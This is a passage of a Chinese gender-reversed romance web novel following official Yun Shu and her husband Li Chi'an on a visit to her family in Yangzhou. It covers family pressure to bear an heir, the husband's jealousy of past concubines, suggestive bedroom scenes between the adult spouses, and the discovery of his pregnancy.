然后不认路,在大沙漠里逛了两天发现找不到路,又原路返回。 一直在沙漠打圈,遇到随行商人,这才走出来。 “就这么简单吗?” “就这么简单。”就是有些倒霉而已。 “我听说昭鹤,和魏野都被调出去了。”云竖问道,“这是怎么回事?” 薛棋摇头,“不知道,的确有些稀奇,可能历练一下吧,也不能把人给逼急了。” 不过是先把那些人放在一侧,等她们冷一冷,挫一挫她们的气势,也不能真把人给弄没了。 “你不在的时候,那姚妗成了宠臣,你不知道那得意劲。” 云竖微笑不说话,“是吗?” 她明天就打算去参她,上折子。 “话说你打算什么时候走?你这才回来半个月,居然能批到假期。”薛棋有些羡慕。 “后日吧。”云竖回道,“我先进去了。” 云竖刚进去,从里面出来拿着卷案的人看了一眼云竖,眼里有些稀奇。 等云竖进去,她拉住跟她一趟出来的人,“她什么时候回来的?” “她都回来半个月了,你怎么现在才知道”那个人说道,同样稀奇看着她。 接着,她的话转了转,“说不定你以后就见不到她了,我听小道消息说道,云学士要被调到其他地方去,不管是外派还是被调到六部,都比在这好吧。” 圣上自然喜欢自己栽培自己的大臣,不喜欢老臣,除非这个人真的很好用。 …… 翌日,云竖参完姚妗后,后面就有几人跟着出来参姚妗。 后日,她便启程离开。 紧接着,就有谣言出来,暗暗表达着云竖结党营私被撤职。 不过一两日,姚妗就被停职调查。 …… 回扬州需要三四天,但是天气开始热起来,路上停停走走,也花了六天。 到扬州那天,李持安被扶下马车,抬眸看着眼前的府门,有些好奇。 牌匾上的云字格外醒目,宅邸比京都许多官员的宅院气派很多,俨然展示着这个地区的富室。 他想到,成婚那日,临时给他充面子的嫁妆便有几十箱,里面没有拿什么不值钱的衣物充当,全是金银珠宝。 身后的人走了过来,揽住他的腰身,微微俯身,“怎么了?不舒服吗?” 女人刚刚对出来迎接的管家吩咐了一星事情,转身见他呆呆的模样有些疑惑。 接着云袖的遮掩,她轻轻捏了捏他腰间的软肉,声音很低,“不过才在马车上待了六天,这里便多了一点肉。” 云父从里面出来,先是细细看了自己的女儿,接着将持安牵过来,见他面带疲色,但好在没有什么愁怨,显然没有跟子漾吵架。 听说贵卿气性一个比一个大,他总归担心传出什么丢了脸面。 云父垂眸见他腰腹平平,又朝旁边的人使了眼色,那些侍从很快围着这位新正君,簇拥着他去了后院。 “妻主……”李持安轻轻喊着她,却被父亲牵走进了门洞去了长廊。 “等会儿会来陪你的。”见他还如此粘人,云父敛眸,轻轻勾了唇角,“子漾可欺负你了吗?如今回来,可与我说说,我来让她给你赔不是。” 李持安微微抿唇,模样温顺,“没有的,妻主待我很好。” “去后院歇歇,身子也舒服一点。”云父声音轻缓,“子漾自然先要去见她母亲,又要去见见上门的亲戚,你不用去见她们,都是一些远亲。” “我让后厨给你备了清淡的汤羹,先歇息一下才是。” 长廊处,李持安见到不远处的人,微微愣了一下。 他看向父亲,“那是谁?” “那是侍夫。”云父说道,“在府上也待了十几年了,自然要出来见见你,见到他也不必同他说什么。” 云父把他带到了自己的屋内,让人端上茶水点心,又让人多添点冰块在屋里。 屋里站了五六个侍从,个个年轻。 李持安垂眸坐在椅子上,放下手上的茶盏,盯着端上来的汤羹,不着痕迹地微微蹙眉。 他还是接了过来,低头喝了几口,便放在一旁。 云父问他,“打算住几日?” 李持安摇了摇头,“妻主说不确定,想来也有五六日。” “子漾的院子里一直有人打扫,里面的物件也都连夜换了新的,你们两个便先住在那。”云父说道,“院子里的侍从也一直在。” 他应下来,白皙的面容柔顺安静,心里想的却是那个院子里想来有二十几个男人去过。 他们的话题很简单,基本围绕着云竖才能展开。 云父终于把话题扯到了子嗣身上,他让旁边的侍从都下去。 “还没动静吗?” 听到这句话,李持安想着,有动静那才奇怪了。 云竖就该怀疑他偷人了。 第70章 第70章敲打2 夜里很安静,屋外的侍从都做着自己的事情。 同样也渐渐冷了下来。 屋内的蜡烛被点亮,四处都停留着女人居住过的痕迹。 终于歇息下来的李持安沐浴后待在妻主的屋子内,好奇地盯着四处。 昏黄的烛光打在他身上,他身上的衣裳极为轻薄,鬓发散乱着,也不担忧这副模样被人看了去。 屋内奢华糜艳,跟妻主平日模样半分扯不上关系。 屋外的侍从端着衣物进来,放在一侧正要俯身退下,就被李持安叫住。 他拿起那白玉雕的灯笼,一边询问那侍从,“你照顾女君多久了?” “奴是府上的家生子,10岁便被调到女君身边,待了六年。” 他放下手上的东西,“六年” 屋子里只能听到李持安的声音。 他起身走动,眼睛看向那侍从,声音轻轻柔柔的,“那府上真有二十几个侍夫” 侍从沉默了一下,“女君的确有。” “没有孩子” 侍从连忙摇头,“未有。” 他见那侍从紧张起来,轻轻说道,“我只是随意问问而已,下去吧。” 没过一会儿,进来的女人把他揽进怀里,埋在他脖颈处细细闻着,轻轻揉着他的腰身。 “妻主” 他抱起来放在软榻的小桌上,被迫扬起头,被按着后颈,呜呜地叫着。 他有些累,根本不想做那等子事,被亲得软了身子,迷糊地轻轻喘着气。 他坐在那个地方,生怕发出点什么声音,身子小心往后挪,漂亮的眼睛莹莹地盯着妻主。 “妻主不累吗?快快去沐浴吧。”他小声道,就差没说他很累这三个字了。 两天前在客栈暂住的时候,便把他弄得下不来床,这两日里也没好全。 盯着他这副娇艳的模样,云竖抬手轻轻摩挲着他的下颚,俯身过去,声音低哑,“等会儿也是要洗的。” 她的手掌压着他的后颈不让他往后跑,浅色的眼眸中带 着暗色和粘稠,凝视桌子上的他,喉咙轻轻滑动,骨血中流淌的兴奋如沸水一般。 他微微挣扎了一下,看不清楚妻主的脸,恰好被暗处遮掩了一半,脸上的神情一如白日那般温和。 他莫名有些羞耻,对情爱的羞耻。 他被亲着,亲着呼吸不了,想退出来缓一下,好在压在后颈的手没有那般不近人情,让他后退了一下。 还没缓几下,女人又亲了过来,后背贴在着那纸窗,双腿悬着。 原以为妻主会把他抱去床上,不成想就是在软榻上。 衣裳被脱下来,他轻轻低呼了一下,被压在纸窗上,吓得一动不敢动,低声央求着,求她把自己抱到床榻上。 “不高兴吗?”女人笑着询问。 可罪魁祸首一无所知,在他脖颈处亲着,又揉着他的皮肉,完全不在意外面的人会听到看到。 蜡烛静静地燃烧着,屋内很安静。 安静到只能听到一个男人低低的哭闹声。 沐浴过后,他被放在床榻上,赤裸的身子轻轻抖着,腰处的掌痕格外明显。 女人剪了灯芯,放下帷幔后,静静盯着床榻上的人。 帷幔里的床榻既昏暗又透着隐秘的柔和,他乖乖巧巧地躺着那,露出最柔弱的蚌肉,青丝凌乱地散在枕上,白皙,雪白。 身体轻轻起伏着,濡湿的部分青丝黏在他的肩膀处,眼尾殷红艳丽。 被揽过来时,怀中的人几乎像是没有骨头一样,软得跟水一般,时不时抖着,发出嘤咛声。 他被紧紧抱着,双手只能环住妻主的腰上,眉眼疲倦极了。 想到明日早上还要去父亲那请安,李持安轻轻睁开眼睛,微微动了动,仰头含住妻主脖颈处的软肉。 他也没力气咬,只能象征性地表达自己的不满,浑身脱力酸软,面容潮热。 明明之前还躲着他,如今却这般。 明明该放他歇着的。 …… 翌日。 李持安根本起不来。 帷幔内,他被伺候着起来,裹上衣裳,浑身都透着疲倦柔软,甚至站不直身子。 淞朱给公子戴上耳坠,又佩戴项链和手镯。 “公子”淞朱在他耳边轻轻说道,“该过去了。” 淞朱盯着公子这副疲倦的模样,想着女君真不怜惜公子,今日可怎么办? 他又看向公子的腹部,那里还没有动静,如今回来,少不得被敲打早日怀子。 薄衫紧紧裹着男人的腰身,那处纤细,熟透了的柔软。 李持安被扶着出了门,余光盯着长廊处打扫的侍从,汛蓝见了,连忙把那个侍从唤走。 长廊处,李持安站在那,将那个侍从叫了过来。 “为何盯着我”李持安声音有些哑,眉眼也带着散漫。 “奴见到正君,一时看呆了。”说话的那人低垂着头。 李持安愣了一下,也不再追问什么,只让他继续做着自己的事情。 旁边的汛蓝看了,松了一口气。 是谁不好,偏偏曾经是女郎床榻上的通房,还受宠过。 怎么会被人派到这里扫地 李持安微微抿唇,低垂着眸,轻轻呼了一口气。 他忍着身子的酸软,慢慢抬脚走去了父亲的院子里。 云父已经起来,在屋内看着账本,听到持安来了,就让人把他请过来。 “怎么过来了?”云父抬眸看向持安,微微愣了一下。 云父也不是未经人事的人,轻笑着,叫人给多垫了一层褥子,让他坐下来。 李持安坐下来,手指慢慢蜷缩着,耳尖有些红。 “侍身一直在京都,未做到侍奉父亲的事情,如今自然要晨起侍奉。” 云父让屋内的侍从都退下去。 接着,他合上账本。 “我也不同你打着弯了,虽说有些不好,你如今已经嫁进来也有半年,可还未怀上孩子,不是我要催你,但总要有个结果。”云父叹了一口气,“我只有子漾一个孩子……” 他言语未尽,也说这不是他的意思。 李持安哪里不知道他是什么意思呢?他肚皮没用,自然要他给妻主再多找几个。 真过分。 李持安顺着云父的意思说出来,轻轻咬唇,“我知道了。” 云父听着,“你能想明白就好,总归没人能越过你。” 离开屋内后,李持安回了院子里。 他换了一身衣裳,好让腰身舒服一些,不至于还被紧紧裹着。 太过炎热,李持安基本在屋内待着。 青丝被淞朱有意编成了麻花辫,就搭在身前,露出漂亮的脖颈和脊骨来。 风顺着湖泊吹过来,将李持安的袖子吹得飘起来,露出里面的肌肤。 那里雪白,还掺着一些红印。 “妻主呢?怎么还没回来?” 他取下脖颈处的项链,只留下手腕处的镯子,站在半窗处,语气有些埋怨。 “奴去了前院打听,说是有人来拜访女君,便一直在前厅说话。拜访的人多是这个地方的富户和官员。” “那后院呢?”李持安轻轻问。 淞朱犹豫了一下,“今早公子遇见的那位,就是女君曾经的通房,叫阿烟,还有几个,都出府了,先下只有他一个。” “妻主喜欢他” 淞朱顿了顿,“听说先前的女君与现在不一样,喜欢鞭打。” 李持安愣了一下,眼眸睁大,有些震惊。 “胡话。”他轻轻斥责道。 却依旧相信了淞朱的话。 “先前她是如何?”他继续问。 淞朱看了看屏风那,小声道,“公子不是都知道吗?先前打听的,和如今打听的,都没什么出路。” “那阿烟,公子可要把他弄远一点。” 李持安轻轻咬唇,“若真要有什么,妻主早早就该把他藏好,不会让他跑到我面前。” 他不想继续谈论这个,心里却一直想着这出。 喜欢鞭打,侍夫还如此多,前后变化未免太大。 他心脏砰砰跳着,想着妻主如今这副模样是不是也是装的,什么时候才会变 “公子也不必多想,女君有现在的地位,想来眼前的都是实打实的。”淞朱说道,“公子还是应该多想想办法,该怀上孩子。” 不然后院真被塞进几个侍夫,到时候可怎么办?公子发脾气,女君厌烦,去宠幸其他侍夫。 万一真弄出个孩子来,公子该怎么办? 孩子,又是孩子。 是他不想要吗? 李持安掐着手心,眉目很快冷了下来。 …… 午时。 云竖给他端了喜欢喝的汤羹,见他微微蹙眉,面前的荤食一口没动,“怎么了?不舒服吗?” 李持安轻轻摇头,“只是太腻了而已,想吃点清淡的。” 天气热了起来,李持安只想吃一些清淡的,甚至屋里都得放着大量的冰块。 云竖思索着,“是我昨日太过分了。” 听到她这句话,李持安睨了她一眼,还是低头喝了一口汤。 “听他们说,你去了父亲那,你们说了什么?” “父亲让我给你纳几个侍夫,不知道妻主喜欢什么样的,那阿烟,妻主还喜欢吗?” “什么阿烟” 李持安轻哼了一下,放下筷子,“难为他伺候女君几年了,女君竟然连人名字都忘了。” 云竖盯着他的模样,“今日怎么这般打扮” 他的头发好看,编成松松散散的麻花辫更是漂亮。 “父亲说的那些话,你不必理会,过几日我们便离开,你是同我过日子,又不是同我父亲过日子,有些话听听就行。”她将他面前的食物端开,将清淡的菜放着他面前。 “你若是想提我之前的通房和侍夫,怕是得天天生气。”云竖轻叹一口气,“你明明知道我不会纳侍的,何必拿这些试探我。” 听到什么生气试探,李持安咬唇,漂亮的眼睛里水汪汪的,“生气我才不生气。”【魔蝎小说 mo xie xs .c om】 70-80 第71章 第71章 求子 说罢过后,他便低垂着眸,“父亲说,再过几日,你的弟弟就要定下婚事,让我们晚一些走。” “婚事”云竖还没听过这件事情,也没有人同她说。 “说的是一个富户的女君,娶他为正君,后日妻主就能见到她,她会上门送聘礼。” 云竖对这件事情没说什么,“他既然快了,我那位妹妹也快成婚了。” 她盯着他,突然说道,“这几日在路上你就不怎么吃东西,现在怎么也只喝几口汤?” 李持安微恼,觉得妻主明知故问。 谁昨日被那般折腾,今日还吃得下东西。 想到这里,他微微凑过去,细长的手指轻轻地滑了一下她的手心,很快地缩了回来,声音柔柔地,“妻主当真不纳侍侍身也并非不讲理,若若我真生不出孩子,也不能让妻主没有孩子。” “免得再过几年,我便被旁人说是妒夫,再被妻主厌弃。” 他开始故作腔调地委屈起来,把事情说得夸张又可怜。 云竖垂眸注视他,突然笑了笑,“你愿意” 见妻主如此,他微微咬唇,漂亮的脸蛋上透着娇气和不谙世事。 “妻主故意的,故意让我生气,明明知道我会生气的。” 她笑了笑,伸手握住他刚刚勾过来又躲回去的手指,“我只是想同你说清楚而已,不用多想。” 突然被握紧手,他不可抑制地抖了一下,想到昨日被她压在窗户上没有力气的时候。 真是无趣,他想着又不敢吭声。 随着汛蓝绕过屏风过来,他不说话了,抬眼轻轻睨了妻主一眼,便抽出手起身。 云竖抬眸看着他绕到了屏风后,细细的腰身很快隐匿在后面,喉结微微滑动了一下。 她盯着屏风后微微晃动的人影,再熟悉不过的场景,恍惚让她想到一年前自己还来着画像痴想。 她的指尖微微动了动,目光不由得注视着不远处的画像,越发痴缠起来。 此刻更像是阴暗角落里慢慢滋养繁殖的绿苔一般,开始肆无忌惮的生长。 她可以把人藏起来,就藏在自己的床榻间。 她这才觉得屋内的熏香有些浓郁,摇摇晃晃地遍布屋内,却争先恐后地钻入她的鼻腔,紧紧攥住她的心脏。 四周静悄悄地,屋外的侍从扫着地上的落叶,长廊走来端着点心和热茶的侍从。 汛蓝悄悄见女君如此喜欢正君,很快收回了目光。 这府上的人都知道,女君喜欢正君,都下得了狠心去读书去京都。 讯蓝想着,等会儿让那些仆从闭紧嘴巴,莫要把半年前荒唐的事情给说出来。 吃饭过后,云竖去了云父那里一趟,待了一炷香的时间便被人喊走去了前院。 …… 翌日。 云父带着他去寺里,不再提什么纳侍的事情,反而开始把注意力放在他的肚子上。 马车的滑轮轱辘地滑过地上的青石板,灰尘扬起,空中倾泻出略带腥味的气味。 桥边风景很好,花枝轻颤着, 马车内,淞朱拿着扇子,轻轻晃着给公子扇风。 李持安掀开帘子盯着外面,“父亲经常去吗?” 云父轻抿了一口茶,“早些年常去,后面就不去了。” 李持安顿了顿,那是什么意思? “我生子漾时,身体亏损的厉害,后面想生第二个,如何也怀不了,也就放弃了。”他语气轻缓,“我怀子漾前,就去了庙里一趟,回来不久就有了,虽说你待不久,在屋里待着也是闲着,不如出来走走。” 接着,云父的扇子偏了偏,遮住了下半张脸,露出的眉眼与妻主格外相似,“等子漾闲下来,不如叫她带你去书院瞧瞧。” 旁边的侍从闭嘴不语,低垂着头,取出点心,抬手斟茶。 李持安看着云父,低声应着。 寺庙里有很多人,李持被淞朱扶下来,面上没有带面纱,耳坠轻轻晃着,模样颇为矜贵。 不少人看了过来,又很快移开。 他们偷偷往那边瞧着,想着这是从哪里来的,扬州何时有了这人物。 “我之前也带子漾来过,不过子漾不感兴趣,说不了几句话就跑了。”云父看了看四周,突然说道。 屋檐高高翘起,还悬挂着橙黄色的灯笼,左侧是郁郁葱葱的绿树,部分树枝上还挂着红色的祈福条。 香炉附近香烟缭绕,周围整齐排列着许多红色的蜡烛。 一些男子互相陪伴去挂祈福条,又坐在一处开始闲聊。 李持安瞧了瞧四周,抬手触碰着晃动的耳坠,又用手背贴了贴发热的脸,薄薄的肌肤带着绯红。 只觉得天气实在有些热,越发不禁热。 他乖乖地跟在云父身后,想着妻主也不会那般没有耐心。 到了佛前,他跪在那圆垫上,闭着眼睛轻轻晃着,欲求子。 附近的人很多,到了殿前都安静下来,耳边是敲木鱼的声音。 很快,那签子落了下来。 李持安俯身捡过来,眸中好奇地看着签子。 上上签。 他微微抿唇,起身走去了云父身边。 “是个好签,想来是来对了。”云父说道,眉眼弯了弯。 李持安抬眸盯着云父,像是香烟缓和调淡了眉眼的端庄,淡淡得很是柔和,像是寥寥几笔描绘上的墨色牡丹。 他轻轻抿唇笑着,“父亲,不是要去解签吗?” 云父把他带过去,听着那解签的人说着,嘴角的笑几乎掩不住。 听完之后,云父把他拉出了庙里,轻声说着,“回去可要让人给你好好补补,千万不要亏损了身子。” 黄墙外,李持安脑子里还想着什么五个孩子,听到滋补,耳尖猛得红了起来,绯色的唇紧紧抿着,漂亮的眼睛里带着羞怯。 明明自己之前去求的时候,还是个下下签,一个孩子也没有。 五个孩子,那太多了。 李持安下意识用袖子遮住自己的肚腹,觉得那太荒唐了。 两三个就足够了。 回来后。 李持安便待在了自己的屋内。 他穿着薄衣,觉得待在这里有些不自在。 没有一个是自己熟悉的,四处都残留着女人居住过的痕迹。 淞朱取来冰好的水果,李持安捏着那冰葡萄,贴了贴发热的脸。 他低垂着眸,睫毛轻颤着,“这府上的侍从,怎么看起来都怪怪的。” 淞朱有些疑惑,“想来公子刚来,不知道公子性格,谨慎点也正常。” 李持安不语,漂亮的眼睛看着那屏风,绯色的唇上还沾着果汁。 真是奇怪。 他想着,一个个像是见到猫一样。 夜里,他沐浴后,便坐在窗前,摆弄着针线。 淞朱在一旁换上香熏,又将四处的灯点起来。 这时屋外进来了几个人,是云父那边的。 “主君让奴给正君端来汤羹,特意吩咐厨房做的。” 屏风外,他们站在那,低垂着头,模样格外恭谨,生怕惹了正君生气。 李持安顿了顿,只低声让他们放在一侧,让他们下去。 过了许久。 早早盼着回来的人终于进了院子。 李持安起身去迎接,看着长廊处面容温和清艳的人,心脏砰砰直跳。 她一袭青绿长袍,眉眼褪去了官场堆积的威压,沾上这边湖水的气息,变得格外温和清润,看上去反而更清峻起来。 晕黄的光线下,莫名地有些不现实。 等人走到眼前,把他揽进去,李持安才反应过来。 屋内,侍从都退了下去。 他伺候着妻主,把外衫脱下来,又解下挂在腰间的玉佩。 “妻主又这般晚回来。”他声音很软。 云竖俯身抱着怀中的人,低头亲着他,轻轻揉着他的腰身。 “今日去哪里了”她问道。 “父亲带我出去了。”他回道,呼吸潮湿,触电似地颤着,“带我去寺庙里求子。” “妻主是喜欢女孩吗?”他轻轻往后躲,避开她的亲吻,想同她说话,却又被按住。 她埋在他的后颈,吸了吸他的香味,没听进去半句话。 “好累。” 怀着的人愣了一下,瞬间乖巧下来,美眸轻轻眨着,有些慌张。 “妻主” 接着,他被抱着压在榻上,身上的衣裳被解开。 李持安双手抵在两人中间,觉得妻主回来后就有些变了。 比在京都还不遮掩。 “妻主不是累了吗?我帮妻主揉揉吧。”他轻声细语地说着,抵在两人自己的手攀上她的脖 颈,瞧着格外乖巧。 他的手轻轻抚摸着妻主的脖颈,散下来的青丝落在榻间,眼眸内雾蒙蒙的,全身心地把自己放在妻主身上。 紧接着,他就发现妻主骗了他。 什么累了。 他被压着动弹不得,戚戚地哭着,也没得来几分怜惜。 被挂在大腿处的铃铛清脆地响着,李持安羞得把脸埋在枕头里,眼泪汪汪地流着。 两个时辰后。 帷幔间,他浑身无力地被抱住,耳边听到的是女人的道歉。 女人这才想起来之前他在说什么。 她轻轻问着,问他求子去求来了几个。 他紧闭着眼睛,睫毛颤抖着。 他被亲着后颈,被揉着酸胀的腰身,更甚至腿脚也被压住。 滚烫的气息围绕着他,无刻不侵略他的五感,他的身体止不住颤抖着,无力的手指搭在被褥上,时不时无法控制地抖一下。 他累得几乎说不出一句话,心中既恼又羞怯。 他微微睁开眼睛,朦胧湿润的眼睛盯着她,薄而轻的脸庞带着粉,微微张口,正要回她便又被亲住。 …… 这日,府上变得有些活跃起来,都挂起了红绸。 女君上门下聘纳征,各个的亲戚也上门来看。 那鞭炮格外响,李持安躲在妻主身后瞧看,看着府上各处的热闹,轻轻抿着唇。 他眼尾还带着艳色,早晨起来都不需要染上胭脂。 如今腰还酸着,来不及去埋怨妻主,便被妻主抱起来洗漱,离了屋内出来看热闹。 “持安。” 长廊处的人掀开那的竹帘,突然唤他。 云竖先是反应过来,瞧了过去。 是持安的表哥。 李持安还迷迷糊糊地露出模样,瞧了过去,连忙放开攥着妻主衣袖的手指。 “过去说说吧,我在这等你。”云竖说道。 李持安这才走了过去。 那男人拉住持安,细细瞧看着,“没事就好,我瞧她对你挺好的。” “姨母出事那天,我跟着妻主还在外地,你成婚后我才知晓。” 李持安看着那微微隆起的肚腹,轻轻抿唇,“表哥,这是怀上了吗?” 男人愣了一下,下意识露出笑容,低眸看着自己的肚子,“嗯,已经快五个月了,好不容易才盼过来。” 接着,他看向持安的腹部,微微蹙眉,“半年多了,还没有怀上吗?如今姨母出事,女人的喜欢向来是……” 他的声音歇了下来,“我的情况,你也是知晓的,嫁过去两年,这才怀上。” 他的袖子又遮住自己的肚腹,声音低低地,“你该提前为自己着想才是,不要落到我这个下场。” 旁边的人渐渐多起来,男人听到妻主唤他,又匆匆告别持安。 “见你还好,我就放心了,我成婚之日你送了我合欢扇,你成婚之日我没来,如今送你合欢铃,想来再见也是不易,你好好照顾自己。”男人匆匆说完,便被旁边的侍从围着离开。 第72章 第72章怀孕 他握着铃铛,匆匆塞到了袖子里,被淞朱扶着,正要去妻主旁边,经过长廊就听到正在说话的两个仆从。 这里人少,刚刚的人一股涌地都去了前面。 他们得了时间在这里歇着松口气。 “之前给女君冲喜时,比这还闹腾呢……”那小侍笑着,“这算什么,我现在都还记得,可惜又匆匆取下。” “别说了,主君都说了不能是这件事情,你不要舌头我还要。” “这有什么,如今正君也娶进来了,听说家世也不如女君了,听到了还能如何?难不成还要闹着和离不成女君也不会乐意啊。”他嘀咕着,声音也低下来。 女君不乐意,怎么可能和离得了呢?再说,和离哪里是如此容易的事情。 长廊处突然出现了铃铛掉地的声音,伴随着淞朱的斥责声,那两个小侍瞬间白了脸。 正君不是在前院吗?不是跟女君待在一块吗? 他们跪伏在地上,浑身冷了下来。 “什么冲喜。” 头顶上传来的声音格外冷。 …… 前院。 云竖避着人群,轻轻把人揽进怀里,“怎么了?哪里不舒服吗?” 女人的声音很是柔和,把他拥进怀里,动作很小心。 “……没。”他把脸埋在她的怀里,小声地回着,声音有些闷闷地。 “既然累了,我陪你回院子里吧。”她在他耳边说着。 云竖随意叫来一个侍从,说了一句后便把人往后院里带。 淞朱跟在女君身后,看着公子被揽着回去,微微抿唇。 院子里。 李持安赖在她怀里,双手攀在她的脖颈处,把脸埋在她的肩膀上。 云竖一时想着,昨夜是不是太过分了,所以他今日太累了? 她拢住他的腰身,帮他轻轻揉着,抚摸着他的脊背。 过了一会儿,见怀中的人没动静,云竖微微偏头盯着埋在自己肩膀上的人。 睡着了? 这么累吗? 她动了动,想把人抱在床上去,让他睡得舒服一点。 还没起身,怀中的人轻轻呜咽着,摆明了不乐意。 云竖示意淞朱取来薄毯,低眸调整他的身体,轻轻揉着他的肩膀。 薄毯被取来,云竖接过来盖在他的身上,低眸盯着他的模样。 他很乖。 无论是哪里都很乖。 她想起来,他还没跟自己吵过架,即便生气了也只会哭。 按理说,他的脾性该大一点,如何胡闹也不稀奇。 偏生得也格外柔弱敏感,没有人照顾着,很快就会凋零下去。 云竖揉着他酸软的腰身,又低眸亲了亲他的唇,将人抱得严严实实。 屋内的侍从退下去,关上门,外面也一声不吭的。 淞朱又去询问了几个人,问清楚后这才站在门口。 女君险些出事了吗? 淞朱想着。 大抵是一个时辰,醒来的李持安轻轻蹭着妻主的掌心,脸庞透着绯色,黏黏糊糊地缠在妻主身上。 他轻轻吐着气,眼睛很快红了起来,在她脖颈处哭泣不停,如何也止不了。 云竖微微蹙眉,低声问他,是谁惹他不高兴了,她去帮他教训过来。 见他呜咽着不说话,小脸哭得通红,低低地喘着气,云竖微微抱紧他的腰身,抬手帮他擦干眼泪,轻声哄着他,低头亲着他。 “在哭什么呢……”她轻轻问着,“是生气我太过分了吗?” “在哪里受委屈了?告诉我,好不好?” “持安……” 云竖的肩膀被打湿一团,怀中的人哭得委屈可怜,只摇着头,一句话也不肯说。 …… 离开前的一日。 屋内。 淞朱匆匆请来大夫,模样颇为焦急。 “公子如何了?” “恭喜正君,您有孕了……” 淞朱微微睁大眼睛,连忙谢过大夫后,又跑到公子旁边。 “奴去将女君叫过来。” 软榻上,李持安模样有些呆愣,他下意识抚摸自己的肚腹,连淞朱跑出去了也不知道 他脸上还有些苍白,是刚刚突然干呕导致的,眼睛也因此有些湿润。 地上的碎瓷被侍从捡起来,确定没有残留的更好,又询问正君要不要喝点什么。 汛蓝从屋外进来,端来爽口的甜汤送到正君旁边。 不过一炷香的功夫,云竖从前院赶过来。 她声音低低地,似乎有些不太敢相信,“怀孕了?” 她把人揽进怀里,李持安握住她的手放在自己的腹部,有些不 满道,“妻主是怀疑我骗你吗?” 只是觉得不可能而已。 云竖低声道歉,“我没有这个意思。” 接着,她询问,放在他腹部的手有些僵硬,“大夫还说什么了?” 李持安轻轻抿唇,偏过头去,“不知道,没听清楚。” “现在好些了吗?”她问道。 眼见着,云竖问不出什么,只好起身去问大夫。 待在软榻上的人见她绕过屏风走到门口与人交谈,也没说什么。 他想着,肚腹里的孩子是女孩还是男孩呢? 还有多久才能生下来呢? 午时。 李持安去了云父的院子里。 云父又给他请了一个大夫,又告诉他前面三个月该如何做。 该小心点,不要动怒,也不要到处跑。 云父让人取来平安玉扣,“这是我特意去求来的,这接下来几个月可要小心一点,平安就好。” “待你肚子再大一些,我便过去陪着你,好让你安心一点,不至于快生下来时太过慌张。” “是女是男都无所谓,莫要胡思乱想,也不要动怒。” 李持安接过来,“我知道了。” “这次回去,便不要坐马车了,去乘船,胎位不稳,该当心一点,莫要亏损了身子。” 离开院子后,李持安站在长廊处,盯着不远处的湖泊。 淞朱问道,“公子看那湖做什么?女君应该快要回来了。” “去洛城要多久呢?” “三天。”淞朱回道。 李持安这才抬脚走着,“三天,你说母亲看到我怀孕了,会不会高兴呢?不知道母亲在那待的如何,那些人会不会中途扣下送过去的东西。” 他始终盯着那湖泊,想到妻主曾经跳进去过,眉眼便不自觉冷起来。 虽说都是以前的事,都已经过去,如今只有他一个人,往后也只会有他一个人。 李持安想着,却觉得心烦。 妻主还会喜欢那么多男人吗? 回到院子里,妻主还没有回来。 他回到屋里,动作下意识小心起来,明明他是今日才知道自己怀孕。 前几日还依旧无所觉地随意走动。 他坐在铜镜前,盯着铜镜里的自己,抬手抚摸自己的脸。 眼尾微微上扬着,带着淡淡的绯色。 妻主很喜欢他的眼睛。 铜镜里的人眉眼带着骄矜,端得世家模样,只会在女君面前才伏小做低,轻言细语。 他取下手腕上的镯子,只戴了一条细链,又换上宽松的常服,走到半窗那坐着。 侍从将针线取出来,以及昨日做到一半的衣裳。 淞朱从屋外进来,走到公子旁边,“公子,云翡来找你了。” 云翡 他微微偏头,“他来找我做什么?现在不应该在屋里绣嫁衣吗?” “让他进来吧。”他顿了顿,说道。 他放下刚拿起来的针线,看着衣裳上绣好的鸢尾,起身绕过屏风走了出去。 “怎么有空过来了?”男人的声音很柔,穿着宽松的衣裳。 云翡盯着,稍稍愣神,“我知道姐夫要离开,总要来见见姐夫。” 他坐下来,盯着长姐的夫郎,有些好奇,好奇长姐为什么会喜欢注重规矩礼仪的世家贵卿,她不是应该同话本里那样喜欢一个贫困的少年,把人抢进府里吗? 李持安稍稍偏头,与他目光对视,便知道云翡心里大概在想什么。 李持安轻轻笑着,只说一些很无聊的话。 …… 下午,书房里。 见妻主起身,他走路快步了一些,扑到了妻主的怀里。 “小心一点。”云竖抬手抚摸他的发丝。 李持安黏在她旁边,同她待在书房里,时不时磨着墨,更多的时间里还是赖在她的怀里。 夜里。 李持安赖在她怀里,轻轻蹭着她的脖颈,伏在她的身上,带着娇气,“妻主今夜怎么如此安静” 帷幔已经被放了下来,只有床头还放着一盏纸灯。 床榻的里侧空荡荡的,李持安几乎半边身子都在云竖身上。 “大夫说,该小心一点。前三个月都不行。”云竖说道。 身上的人有些不满,“可前日妻主还折腾我。” 她有些哑口,抬手轻轻摩挲着他的腰间,“是我疏忽了。” “明早就要上船去洛城,该早些歇息。”她微微侧身,将人弄到怀里,双手环保着他的腰身,低头嗅着他身上的软香。 她静静盯着他,面容冷白清贵,浅色的眼眸内柔和安静。 这副模样,对李持安而言,显然是痴迷的。 他喜欢她这副模样,喜欢她这副对情爱愚钝古板,对任何人都冷漠疏离的模样,喜欢她的手,也喜欢她的脸,更喜欢她说话时的模样。 李持安微微抿着红唇,仰头亲了亲她,衣裳摩挲发出声音,他的唇湿润起来,黑夜里的那双眼睛更为湿润。 他的声音越发软越发细,带着浓郁的依恋和柔软,活像是轻轻一碰就会死亡,“妻主,妻主会一直待我好吗?” “嗯。” “妻主希望我生个女孩还是男孩” 帷幔里是潮湿温热的,静悄悄地,带着黏稠和情欲。 女人几乎把他抱得严严实实,带着占有和痴迷,指腹轻轻揉着他的脊背和细腰,都能想到薄衣下的肌肤是多么的滑腻漂亮,跟白玉一般,光泽莹润。 “你希望是女孩还是男孩”她轻轻问。 “我自然是希望是个女孩,万一万一只有这一个孩子,是个女孩的话,妻主就可以只有我了。”他小声道。 不是他不喜欢男孩,只是害怕跟云父一般,被迫给妻主纳侍,心里的嫉妒便拉扯着他的身体,让他越发绝望。 他把脸埋在她的怀里,耳朵可以听到她心脏跳动的声音,也能感受到皮肤脉搏的跳动,感觉耳朵都麻了。 他轻轻舔着她的锁骨,殷红的小舌从齿间露出来,漂亮的眼睛里水光潋滟,恨不得整个人都黏在妻主身上,享受着被妻主拥抱,享受着被妻主亲吻。 “乖点。”她说道。 她的掌腹贴在他的腹部,那里还没有什么起伏,却让人手心发麻。 这里怀孕了,再过几个月就会隆起来,还有八个月多就能生下一个孩子。 那处会沉坠,他的细腰根本挂不住,只能用手托住那浑圆的肚腹,被人扶着走。 …… 翌日。 船早早在岸边等着。 在外面躲了几日的云栾看着不远处扶着男人的长姐。 在长姐看过来时,她几乎不敢看。 